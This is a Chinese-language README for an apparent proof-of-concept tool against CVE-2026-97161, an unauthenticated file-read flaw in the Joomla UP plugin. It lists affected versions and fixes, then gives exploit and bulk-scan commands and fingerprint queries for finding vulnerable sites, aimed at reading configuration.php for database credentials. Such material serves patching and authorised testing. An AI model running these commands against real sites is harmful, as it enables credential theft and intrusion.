针对 Joomla 的 CVE-2026-97161 — UP(Universal Plugin) 的 Python 3 PoC(lomart.fr)。
CVE-2026-97161 — UP 5.0.0–5.2.0 和 6.0.0–6.0.29 通过 AJAX 文件访问处理程序(尤其是 ajax-view 弹窗加载器)暴露未认证路径遍历 / 任意文件读取(CWE-22、CWE-284)。攻击者可读取 configuration.php 及其他服务器可读文件。CVSS 4.0 9.2 严重(PR:N)。修复: UP 6.1.0 / 5.2.1。
同一版本还修复了在预期目录之外任意创建文件的问题(同一 CVE 系列)。
PoC 页面: https://pocbit.org/pocs/cve-2026-97161
| 产品 | UP 插件(plg_content_up) |
| 受影响 | 5.0.0–5.2.0、6.0.0–6.0.29 |
| 已修复 | 5.2.1、6.1.0 |
| 向量 | com_ajax + UP 插件 — 用户可控文件路径指向 ajax-view 后端 |
| 影响 | 机密性(通过 configuration.php 获取数据库凭据) |
厂商未公布确切的查询字符串;此 PoC 会指纹识别 UP、探测常见的 com_ajax 参数形式,或使用你实验环境抓包得到的 --ajax-url。
pip install -r requirements.txt
python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --read-probe
python poc.py -u https://joomla.example --mode exploit --read-probe
python poc.py -u https://joomla.example --mode exploit --ajax-url "https://joomla.example/index.php?option=com_ajax&plugin=up&..."
python poc.py --list targets.example.txt --mode check --read-probe -j 8
body="plugins/content/up"
body="com_ajax" "up.lomart"
CVE-2026-97161 PoC:Joomla UP(lomart.fr) 通过 ajax-view(≤6.0.29)的未认证路径遍历 / 文件读取。检测插件,探测 configuration.php。PoCbit
CVE-2026-97161: UP 插件中的未认证文件读取(路径遍历);已在 6.1.0 / 5.2.1 中修复。
仅限授权测试。--read-probe 会尝试读取目标上的敏感文件。